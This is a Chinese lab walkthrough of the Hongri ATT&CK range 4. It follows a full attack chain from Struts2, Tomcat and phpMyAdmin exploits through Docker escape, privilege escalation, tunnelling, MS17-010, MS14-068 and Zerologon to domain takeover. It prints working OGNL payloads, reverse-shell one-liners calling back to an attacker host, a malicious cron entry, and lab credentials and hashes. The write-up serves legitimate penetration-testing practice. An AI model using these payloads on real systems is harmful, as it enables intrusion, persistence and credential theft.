红日ATT&CK内网练习
红日ATT&CK靶场 - 四
1. 环境搭建
攻击机Win10:192.168.3.27 物理机
WEB服务器:192.168.221.128 VMnet1(网卡2):192.168.183.132
web服务器启动docker: sudo docker start ec 17 09 bb da 3d ab ad
域成员机Win7:192.168.183.129 VMnet1
DC:192.168.183.130 VMnet1
Web服务器账号密码:ubuntu ubuntu
Win7域成员:demo\douser Dotest123
DC:demo\administrator Test2008 开机强制修改密码为 QwEr…123.
2. 信息搜集
Nmap先偷袭扫描一下 Nmap -sV -sC -sS 192.168.221.128 |
得到四个端口,ssh可以弱口令爆破挂一波,2001、2002、2003分别对应Jetty、Tomcat、phpmyadmin三个服务,那么拿到网页上去访问一下。
2001端口有一个文件上传功能且是struts2框架
2002端口是tomcat默认页面版本号为8.5.19
2003端口是phpmyadmin版本为4.8.1,未授权直接进首页.
3. 漏洞利用
根据以上信息,整理出攻击思路如下:
java EE的struts2框架进行poc测试,验证是否存在struts2的历史漏洞Getshell
tomcat弱口令爆破上传war包、8.5.19版本任意文件上传Getshell
phpmyadmin看权限高低进行Getshell尝试,低权限选择最直接的V4.8.1漏洞文件包含会话Session文件,高权限可尝试写🐎、日志备份
0x01. Struts2漏洞测试
工具梭哈测试,成功检测出历史漏洞,存在的是Struts2_045和46
执行一下命令可以看到目前还是root权限
直接上传Godzllia的🐎,然后连接shell即可。
手动复现Struts2-045
访问页面,抓取页面刷新包或者直接抓取点击上传的post数据包
将其content-type修改为特定的payload即可。
Content-Type: %{(#nike333='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts2-046
与045不一样的是,046的payload是在filename处,通过文件上传的文件名来执行
filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
流量分析注意数据包中的Filename、Content-Type、url是否存在Context、java.lang.ProcessBuilder、java.lang.Runtime@getRuntime().exec、HttpServletResponse、cmd
等poc/exp特征
0x02. Tomcat任意文件上传 CVE-2017-12615
直接抓取页面刷新的数据包,将GET方法更改为PUT方法,jsp后加正斜杠即可上传成功
0x03. phpmyadmin文件包含 CVE-2018-12613
因为不需要登录就直接进入了,所以user权限是地权限也在意料之中,现在是低权限,那么写🐎、日志备份这种需要高权限的操作肯定是不行了,只有用用文件包含来维持一下生活这样子.jpg
在phpmyadmin中执行的sql语句会记录到临时存放的session文件中,那么首先执行select “<?php phpinfo()?>” ,然后文件包含session文件即可。
注意路径是在tmp目录下,而session文件的固定文件名是sess_加上cookie中的phpmyadmin字段
以上确定了文件包含漏洞的存在,那么现在又有两种方法获取权限,通过php的file_put_contents函数写入php木马,或者用php的系统函数执行系统命令亦或者直接php反弹shell.
流量分析主要查看数据包中是否存在../../../../和sess_字段的内容
0x04. Docker逃逸
通过Tomcat任意文件上传的shell,来到目标主机,先查看是否在虚拟机或是docker容器中。
通过lscpu可以看到是否为虚拟机,通过ls -la /.dockerenv可得知当前是否为docker环境
可以看到当前机器为vmware,并且此时是在docker容器中,这时候就需要用到docker逃逸技术了。
为了方便操作,还是需要把shell弹出来,这里直接用bash -i去反弹shell没有成功,所以选择了python反弹,本地nc接收。
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.3.27',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
1. DirtyCow+VDSO
首先测试的是dirtycow逃逸,结果发现在目标主机上无法make编译,只能先用kali将其编译之后python临时起http服务来下载了。
在目标shell上wget远程下载make好的exp之后运行起来,却发现exploit failed攻击失败了,尝试了好几次,均为失败,遂放弃,剩下的就只有CVE-2019-5736
、配置不当导致逃逸
、特权模式逃逸
,其中CVE-2021-5736需宿主机执行exec
才能够触发逃逸,而配置不当中的docker remote api 端口2375是关闭状态
,所以只剩下了利用特权模式逃逸。
2. 特权模式逃逸
特权模式指的是拥有者在启动docker的时候加上了 --privileged参数,即docker run --privileged
这时候Docker容器将被允许访问主机上的所有设备,并且可以执行mount
命令进行挂载磁盘.
操作就直接用Godzllia的SuperTerminal
来操作了(🤣主要是因为Struts2弹出来的Shell看不到fdisk -l
的结果)
将/dev/sda1挂载到一个新建文件夹,然后将计划任务写入到宿主机,等待shell的反弹即可。
咱就是说为什么我在电脑面前都等了两年了还没弹shell过来呢,会不会是哥斯拉的SuperTermial
出毛病了…换msf试试.
用msf生成jsp🐎后web访问,从meterpreter进入shell也是可以的。
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=xxx lport=xxx -f jsp > 1.jsp
生成msf🐎,通过tomcat任意文件上传到web服务器。
首先新建一个文件夹mkdir /fw
,然后将其磁盘挂载到该文件夹mount /dev/sda1 /fw
然后写入计划任务echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.3.27/8888 0>&1' >> /fw/var/spool/cron/crontabs/root
…这下好了,俩都不弹 重新来,写入公钥.
kali中生成公钥ssh-keygen -t rsa
生成之后python临时起个服务,docker机远程下载并且将其保存到挂载的目录中,然后使用公钥登录即可。
拷贝到挂载的目录 cp id_rsa.pub /fw/home/ubuntu/.ssh/authorized_keys,然后查看一下cat /fw/home/ubuntu/.ssh/aithorized_keys
至此,docker逃逸结束。
4. 内网渗透
0x01. 提权
docker逃逸出来了,当前权限为ubuntu,需要想办法提权到root权限,才能够看到更多东西。
生成一个msf的elf🐎,上线之后使用suggester提权辅助模块,会自动去搜索可能能够使用的提权exp。
等待几分钟,如果有输出就是可能存在这些漏洞,直接使用对应模块进行尝试即可。
完美,经过尝试,一个都不行。。。好吧我承认msf自动扫描提权模块我好像还没有成功过。
meterpreter进入的shell不能交互,先用ssh连接,wget远程下载我本机的脏牛提权文件,尝试脏牛提权.
拉了闸了,cve-2021-4034 冲!
搞定,还得是4034啊 无脑4034冲就完事了.
0x02. 信息搜集
看了一下root用户的历史命令,并没有什么有用的信息,root用户的目录里面也是什么东西都没有.
ifconfig可以看到有两张网卡,eth0是web服务的网卡,eth1则应为内网网卡.
丢个iox上去,把socks给转发出来,方便内网扫描。
socks5代理建立成功,新建一个cmd,连接ssh - 提权 - 重新运行msf🐎上线msf,添加路由.
添加好了之后使用smb_version
扫了一下内网主机,发现两台主机,一台win7一台server 2008
nmap扫一下端口开放情况,这里记得设置proxifier的代理规则,将192.168.183.0/24这个网段加入到代理规则中,然后用nmap TCP扫描。
Nmap scan report for 192.168.183.129 |
可以看到是存在域的,域名为demo.com且192.168.183.130是域控制器.
本来想着用smb共享来尝试获取权限,用namp的脚本扫描之后发现不可利用。
0x04. 横向移动
既然域内主机扫到server 08和win7,那必须打一打经典的永恒之蓝ms17-010
,但是之前msf还没有通过代理进入内网环境,需要再做一下代理。
这里有点绕了,前面我用iox转发出来的socks是为了我物理机访问,而为了更加模拟实战环境,还是应该将其socks弹到我kali中,因为kali在此次实验中模拟的应是Attacker's VPS
,将之前做的socks取消掉,下面可以看到我kali接收到的是192.168.3.27:13176端口传过来的数据,这是因为虚拟机网络的原因
socks代理搭建好之后可以使用proxychains来启动msf,也可以在msf中直接设置socks代理set proxies socks5:127.0.0.1:10010
,ms17-010模块利用起来,如果不确定可以先扫描一下
这里的rhost改变了是因为虚拟机被打崩蓝屏了好几次,ip从192.168.183.129变成了192.168.183.140
获取shell之后需要再进行信息搜集,进入shell,先chcp 65001改变编码,不然会出现很多乱码的情况,systeminfo看一下主机信息
目前在demo.com域中,可以ping一下域名,或者net time /domain来确定域控的IP地址,为下一步攻击做好准备。
来到桌面后可以看搭配有红日靶场作者放的现成的工具可以进行利用,简单用mimikatz脱一下密码。
0x05. 域内提权
1. ms14-068
没有得到域控制器的密码,但是可以看到本机的信息,看是否能利用一下ms14068域内提权。
Domain:demo.com
user:douser
password:Dotest123
SID:S-1-5-21-979886063-1111900045-1414766810-1107
NTLMHash:bc23b0b4d5bf5ff42bc61fb62e13886e
用目标主机上有的ms14-068.exe即可,用法:MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
运行之后桌面会生成一个TGT_用户名@域名.ccache文件,使用mimikatz进行加载票据就可以获取域控磁盘的映射权限.
连接的时候需要写的是域控主机的名字net use \\WIN-ENS2VR5TR3N
,而不是域控主机的ip地址。
2. 置零攻击(cve-2020-1472)
python3 set_empty_pw.py 域控名字 域控_ip,先将域控密码置零
置零之后就可以使用impacket的secretsdump来空密码登录获取hash,新版本kali都自带impacket包,老版本的需自己到github下载
proxychains impacket-secretsdump -no-pass -just-dc-user administrator demo/WIN-ENS2VR5TR3N$\@192.168.183.130
哈希即最下面那一行的内容,有了域控hash,就可以使用pth来登录、执行命令了。
proxychains4 impacket-wmiexec demo.com/administrator\@192.168.183.130 -hashes :d1603aeb90f350dedb031d4d312ee015
做完想做的事情之后记得将hash恢复原本的样子,依次执行下面的命令,然后在使用置零攻击的kali当前目录下会有sam.save、security.save、system.save三个文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del system.save
del sam.save
del security.save
执行proxychains4 impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
即可
0x06. MSF上线域控
域控已经算是拿下了,现在上线msf,生成的木马payload需要使用bind_tcp正向的方式来生成,不然无法上线。
将木马从KaLi的桌面上传到域成员机的桌面,再通过copy到磁盘映射中,达到木马发送到域控主机的效果,接下来创建一个计划任务运行test.exe即可,也可将test.exe设置成服务来启动.
schtasks /Create /tn "test" /s WIN-ENS2VR5TR3N /tr "c:\test.exe" /sc minute /st 16:35 /ru system /f
我从16:32等到40都没上线,可能是被firewall拦截了,给防火墙关了再看看。
又等了半天没上线发现是生成🐎的时候ip填写的是域成员机,监听的时候写的域控ip,重新生成一个域控ip的🐎,然后重新上传复制、监听、即可上线,计划任务不用更改.
至此,att&ck4完成.
利用到的知识:
Struts2框架漏洞、Tomcat任意文件上传、phpmyadmin文件包含、dockcer逃逸、linux提权、内网隧道搭建、ms17010、ms14068、置零攻击